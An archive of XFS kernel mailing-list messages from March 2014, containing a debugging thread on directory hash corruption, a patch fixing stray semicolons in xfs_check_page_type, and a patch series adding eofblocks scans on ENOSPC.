<5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> <53344075.8050607@sgi.com> <20140327152448.GE29498@order.stressinduktion.org> <533490C9.3010703@sgi.com> <20140327211514.GF29498@order.stressinduktion.org> In-Reply-To: <20140327211514.GF29498@order.stressinduktion.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 16:15, Hannes Frederic Sowa wrote: > On Thu, Mar 27, 2014 at 03:57:45PM -0500, Mark Tinguely wrote: >> On 03/27/14 10:24, Hannes Frederic Sowa wrote: >>> On Thu, Mar 27, 2014 at 10:15:01AM -0500, Mark Tinguely wrote: >>>> On 03/27/14 09:05, Hannes Frederic Sowa wrote: >>>>> On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: >>>>>> On 03/27/14 08:23, Hannes Frederic Sowa wrote: >>>>>>> On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: >>>>>>>> Have you tried to run a xfs_repair on the filesystem after the reboot? >>>>>>> >>>>>>> Yes, I did. I still use the filesystem and it works. As soon as I try >>>>>>> to >>>>>>> remove the directory again the same splash from above happens again. >>>>>> >>>>>> Is it the latest xfsprogs' repair? >>>>>> >>>>>> Do you have the output from the repair still? >>>>> >>>>> I can easily test this here, so you can throw any commands and tests at >>>>> me. ;) >>>>> >>>>> This is the output: >>>>> >>>>> (I replayed the journal before that) >>>>> >>>>> pre-mount:/# xfs_repair -V >>>>> xfs_repair version 3.1.11 >>>>> pre-mount:/# xfs_repair -v /dev/vda1 >>>>> Phase 1 - find and verify superblock... >>>>> - block cache size set to 372848 entries >>>>> Phase 2 - using internal log >>>>> - zero log... >>>>> zero_log: head block 5071 tail block 5071 >>>>> - scan filesystem freespace and inode maps... >>>>> - found root inode chunk >>>>> Phase 3 - for each AG... >>>>> - scan and clear agi unlinked lists... >>>>> - process known inodes and perform inode discovery... >>>>> - agno = 0 >>>>> bad hash ordering in block 8388739 of directory inode 3543184 >>>> >>>> interesting. I will see if I can recreate it. >>>> >>>> Are you open to making it an xfstest? >>> >>> Sure, I'll put it on my todo list for the weekend. >>> >> I will bisect to find the introduction. It appears be somewhere between >> Linux 3.9 and 3.10. > > Thanks! > > Maybe it would be best to add a seed to the hashing function (and the super > block)? > Good idea - replicate a test like fsstress. I bet you could narrow down the iterations required to cause the hang. I have been using wall clock and disk blocks used as a guide so far. --Mark. From dan.carpenter@oracle.com Fri Mar 28 03:03:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 10A0A7F3F for ; Fri, 28 Mar 2014 03:03:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DF6488F8059 for ; Fri, 28 Mar 2014 01:03:37 -0700 (PDT) X-ASG-Debug-ID: 1395993810-04bdf076f076e600001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id uM1XHHhtVENrG5mj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 28 Mar 2014 01:03:31 -0700 (PDT) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2S83S7Y002275 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Mar 2014 08:03:29 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2S83RY7027435 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Mar 2014 08:03:28 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2S83RjE002904; Fri, 28 Mar 2014 08:03:27 GMT Received: from mwanda (/197.157.0.5) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 28 Mar 2014 01:03:26 -0700 Date: Fri, 28 Mar 2014 11:03:13 +0300 From: Dan Carpenter To: Dave Chinner Cc: xfs@oss.sgi.com, kernel-janitors@vger.kernel.org Subject: [patch] xfs: extra semi-colon breaks a condition Message-ID: <20140328080313.GA25192@mwanda> X-ASG-Orig-Subj: [patch] xfs: extra semi-colon breaks a condition MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1395993811 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines There were some extra semi-colons here which mean that we return true unintentionally. Fixes: a49935f200e2 ('xfs: xfs_check_page_type buffer checks need help') Signed-off-by: Dan Carpenter diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 98016b3..75df77d 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -659,10 +659,10 @@ xfs_check_page_type( if (type == XFS_IO_UNWRITTEN) return true; } else if (buffer_delay(bh)) { - if (type == XFS_IO_DELALLOC); + if (type == XFS_IO_DELALLOC) return true; } else if (buffer_dirty(bh) && buffer_mapped(bh)) { - if (type == XFS_IO_OVERWRITE); + if (type == XFS_IO_OVERWRITE) return true; } From bfoster@redhat.com Fri Mar 28 07:09:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 189587F4E for ; Fri, 28 Mar 2014 07:09:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id ED7408F8066 for ; Fri, 28 Mar 2014 05:09:27 -0700 (PDT) X-ASG-Debug-ID: 1396008566-04cb6c5676a32360001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cE7W4SsbdKZIyIoQ for ; Fri, 28 Mar 2014 05:09:27 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SC9K6K007565 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Mar 2014 08:09:20 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SC9JVm017651; Fri, 28 Mar 2014 08:09:19 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8BC06123C1C; Fri, 28 Mar 2014 08:09:18 -0400 (EDT) Date: Fri, 28 Mar 2014 08:09:18 -0400 From: Brian Foster To: Dan Carpenter Cc: Dave Chinner , kernel-janitors@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [patch] xfs: extra semi-colon breaks a condition Message-ID: <20140328120917.GA21961@bfoster.bfoster> X-ASG-Orig-Subj: Re: [patch] xfs: extra semi-colon breaks a condition References: <20140328080313.GA25192@mwanda> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140328080313.GA25192@mwanda> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396008566 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 28, 2014 at 11:03:13AM +0300, Dan Carpenter wrote: > There were some extra semi-colons here which mean that we return true > unintentionally. > > Fixes: a49935f200e2 ('xfs: xfs_check_page_type buffer checks need help') > Signed-off-by: Dan Carpenter > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index 98016b3..75df77d 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -659,10 +659,10 @@ xfs_check_page_type( > if (type == XFS_IO_UNWRITTEN) > return true; > } else if (buffer_delay(bh)) { > - if (type == XFS_IO_DELALLOC); > + if (type == XFS_IO_DELALLOC) > return true; > } else if (buffer_dirty(bh) && buffer_mapped(bh)) { > - if (type == XFS_IO_OVERWRITE); > + if (type == XFS_IO_OVERWRITE) > return true; > } > Nice catch. Reviewed-by: Brian Foster > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Mar 28 08:16:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 08F437F51 for ; Fri, 28 Mar 2014 08:16:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DDED630406A for ; Fri, 28 Mar 2014 06:16:06 -0700 (PDT) X-ASG-Debug-ID: 1396012565-04cbb054b9855c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2nmcWAduGVGmTrFh for ; Fri, 28 Mar 2014 06:16:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5FI009887 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2SDG5SR027819 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8FF9D123C1C; Fri, 28 Mar 2014 09:16:03 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 0/5] xfs: run eofblocks scan on ENOSPC Date: Fri, 28 Mar 2014 09:15:58 -0400 X-ASG-Orig-Subj: [PATCH 0/5] xfs: run eofblocks scan on ENOSPC Message-Id: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012565 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, The purpose of this series is to help address the inefficient use of preallocation for larger files on smaller filesystems. When the filesystem is small, so is the 5% low free space threshold that enables preallocation throttling. When the low free space threshold is reduced to a couple GB or so, we can ram into ENOSPC prematurely due to larger, active preallocations. We resolve this condition with an eofblocks scan in the pre-existing ENOSPC retry write sequence. The scan resets outstanding preallocations such that throttling is guaranteed an opportunity to manage future preallocations gracefully into ENOSPC and thus ensures closer to 100% utilization before ENOSPC is reported to userspace. Patches 1-3 make some small enhancements to the eofblocks scanner that facilitate running a scan in the context of a write. Patch 4 adds the actual scan-on-ENOSPC policy. Patch 5 updates the preallocation throttling algorithm to take quota free space into account. Thoughts, reviews, flames appreciated. Brian Brian Foster (5): xfs: do eofb filtering before dirty check xfs: add flush flag to xfs_eofblocks xfs: add scan owner field to xfs_eofblocks xfs: run an eofblocks scan on ENOSPC/EDQUOT xfs: squash prealloc while over quota free space as well fs/xfs/xfs_dquot.h | 15 +++++++++ fs/xfs/xfs_file.c | 32 +++++++++++++++++-- fs/xfs/xfs_fs.h | 4 ++- fs/xfs/xfs_icache.c | 90 +++++++++++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_icache.h | 3 ++ fs/xfs/xfs_iomap.c | 20 ++++++++---- 6 files changed, 145 insertions(+), 19 deletions(-) -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 08:16:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EBD37F51 for ; Fri, 28 Mar 2014 08:16:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 70E5630406A for ; Fri, 28 Mar 2014 06:16:07 -0700 (PDT) X-ASG-Debug-ID: 1396012566-04bdf076f0781bc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XWDWL7fszQ9dyBDG for ; Fri, 28 Mar 2014 06:16:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5Be019372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5N4003795 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 07E70123C7B; Fri, 28 Mar 2014 09:16:03 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 1/5] xfs: do eofb filtering before dirty check Date: Fri, 28 Mar 2014 09:15:59 -0400 X-ASG-Orig-Subj: [PATCH 1/5] xfs: do eofb filtering before dirty check Message-Id: <1396012563-60973-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1396012563-60973-1-git-send-email-bfoster@redhat.com> References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012566 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Reorder xfs_inode_free_eofblocks() so the explicit eofb filtering (i.e., uid, etc.) occurs before the dirty mapping check. This facilitates the addition of a flush flag. If we want to issue a flush, we should do so after the filtering logic but before the dirty check since a flush reduces the likelihood we skip an inode due to a dirty mapping. Signed-off-by: Brian Foster --- fs/xfs/xfs_icache.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 98d3524..7ff59c9 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1223,14 +1223,6 @@ xfs_inode_free_eofblocks( return 0; } - /* - * If the mapping is dirty the operation can block and wait for some - * time. Unless we are waiting, skip it. - */ - if (!(flags & SYNC_WAIT) && - mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_DIRTY)) - return 0; - if (eofb) { if (!xfs_inode_match_id(ip, eofb)) return 0; @@ -1241,6 +1233,14 @@ xfs_inode_free_eofblocks( return 0; } + /* + * If the mapping is dirty the operation can block and wait for some + * time. Unless we are waiting, skip it. + */ + if (!(flags & SYNC_WAIT) && + mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_DIRTY)) + return 0; + ret = xfs_free_eofblocks(ip->i_mount, ip, true); /* don't revisit the inode if we're not waiting */ -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 08:16:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99A237F56 for ; Fri, 28 Mar 2014 08:16:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2EB6DAC001 for ; Fri, 28 Mar 2014 06:16:08 -0700 (PDT) X-ASG-Debug-ID: 1396012566-04cbb054b8855c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id g9ibhcRHGequt7Ry for ; Fri, 28 Mar 2014 06:16:07 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5tg019390 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:06 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2SDG5kD027826 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 49DF6123CA6; Fri, 28 Mar 2014 09:16:04 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 5/5] xfs: squash prealloc while over quota free space as well Date: Fri, 28 Mar 2014 09:16:03 -0400 X-ASG-Orig-Subj: [PATCH 5/5] xfs: squash prealloc while over quota free space as well Message-Id: <1396012563-60973-6-git-send-email-bfoster@redhat.com> In-Reply-To: <1396012563-60973-1-git-send-email-bfoster@redhat.com> References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012566 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Commit 4d559a3b introduced heavy prealloc. squashing to catch the case of requesting too large a prealloc on smaller filesystems, leading to repeated flush and retry cycles that occur on ENOSPC. Now that we issue eofblocks scans on EDQUOT/ENOSPC (with a selective flush in the case of project quotas), squash the prealloc against the minimum available free space across all applicable quotas as well to avoid a similar problem of repeated eofblocks scans. Signed-off-by: Brian Foster --- fs/xfs/xfs_iomap.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 22d1cbe..934983a 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -401,7 +401,8 @@ xfs_quota_calc_throttle( struct xfs_inode *ip, int type, xfs_fsblock_t *qblocks, - int *qshift) + int *qshift, + int64_t *qfreesp) { int64_t freesp; int shift = 0; @@ -410,6 +411,7 @@ xfs_quota_calc_throttle( /* over hi wmark, squash the prealloc completely */ if (dq->q_res_bcount >= dq->q_prealloc_hi_wmark) { *qblocks = 0; + *qfreesp = 0; return; } @@ -422,6 +424,9 @@ xfs_quota_calc_throttle( shift += 2; } + if (freesp < *qfreesp) + *qfreesp = freesp; + /* only overwrite the throttle values if we are more aggressive */ if ((freesp >> shift) < (*qblocks >> *qshift)) { *qblocks = freesp; @@ -480,15 +485,18 @@ xfs_iomap_prealloc_size( } /* - * Check each quota to cap the prealloc size and provide a shift - * value to throttle with. + * Check each quota to cap the prealloc size, provide a shift value to + * throttle with and adjust amount of available space. */ if (xfs_quota_need_throttle(ip, XFS_DQ_USER, alloc_blocks)) - xfs_quota_calc_throttle(ip, XFS_DQ_USER, &qblocks, &qshift); + xfs_quota_calc_throttle(ip, XFS_DQ_USER, &qblocks, &qshift, + &freesp); if (xfs_quota_need_throttle(ip, XFS_DQ_GROUP, alloc_blocks)) - xfs_quota_calc_throttle(ip, XFS_DQ_GROUP, &qblocks, &qshift); + xfs_quota_calc_throttle(ip, XFS_DQ_GROUP, &qblocks, &qshift, + &freesp); if (xfs_quota_need_throttle(ip, XFS_DQ_PROJ, alloc_blocks)) - xfs_quota_calc_throttle(ip, XFS_DQ_PROJ, &qblocks, &qshift); + xfs_quota_calc_throttle(ip, XFS_DQ_PROJ, &qblocks, &qshift, + &freesp); /* * The final prealloc size is set to the minimum of free space available -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 08:16:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B7AA7F59 for ; Fri, 28 Mar 2014 08:16:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 22D1B304075 for ; Fri, 28 Mar 2014 06:16:10 -0700 (PDT) X-ASG-Debug-ID: 1396012565-04bdf05daca58f40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ON5pVOi2CxChe61z for ; Fri, 28 Mar 2014 06:16:05 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5X4009888 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5IY013038 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id D5AE812386B; Fri, 28 Mar 2014 09:16:03 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 2/5] xfs: add flush flag to xfs_eofblocks Date: Fri, 28 Mar 2014 09:16:00 -0400 X-ASG-Orig-Subj: [PATCH 2/5] xfs: add flush flag to xfs_eofblocks Message-Id: <1396012563-60973-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1396012563-60973-1-git-send-email-bfoster@redhat.com> References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012565 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The flush flag allows the caller to issue a flush for scanned inodes. In ENOSPC conditions caused by project quotas, a flush is required to free up reserved metadata allocations. Signed-off-by: Brian Foster --- fs/xfs/xfs_fs.h | 4 +++- fs/xfs/xfs_icache.c | 3 +++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index c5fc116..fa3a58e 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -374,12 +374,14 @@ struct xfs_fs_eofblocks { #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ +#define XFS_EOF_FLAGS_FLUSH (1 << 5) /* issue a flush */ #define XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ XFS_EOF_FLAGS_UID | \ XFS_EOF_FLAGS_GID | \ XFS_EOF_FLAGS_PRID | \ - XFS_EOF_FLAGS_MINFILESIZE) + XFS_EOF_FLAGS_MINFILESIZE | \ + XFS_EOF_FLAGS_FLUSH) /* diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 7ff59c9..d4e15db 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1231,6 +1231,9 @@ xfs_inode_free_eofblocks( if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && XFS_ISIZE(ip) < eofb->eof_min_file_size) return 0; + + if (eofb->eof_flags & XFS_EOF_FLAGS_FLUSH) + filemap_flush(VFS_I(ip)->i_mapping); } /* -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 08:16:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B06A27F59 for ; Fri, 28 Mar 2014 08:16:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41F2FAC002 for ; Fri, 28 Mar 2014 06:16:07 -0700 (PDT) X-ASG-Debug-ID: 1396012566-04cb6c5678a36c30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7tbTkBbTBbQdE43W for ; Fri, 28 Mar 2014 06:16:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5D5011937 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2SDG5Oq015431 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 3B665123D08; Fri, 28 Mar 2014 09:16:03 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 3/5] xfs: add scan owner field to xfs_eofblocks Date: Fri, 28 Mar 2014 09:16:01 -0400 X-ASG-Orig-Subj: [PATCH 3/5] xfs: add scan owner field to xfs_eofblocks Message-Id: <1396012563-60973-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1396012563-60973-1-git-send-email-bfoster@redhat.com> References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012566 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 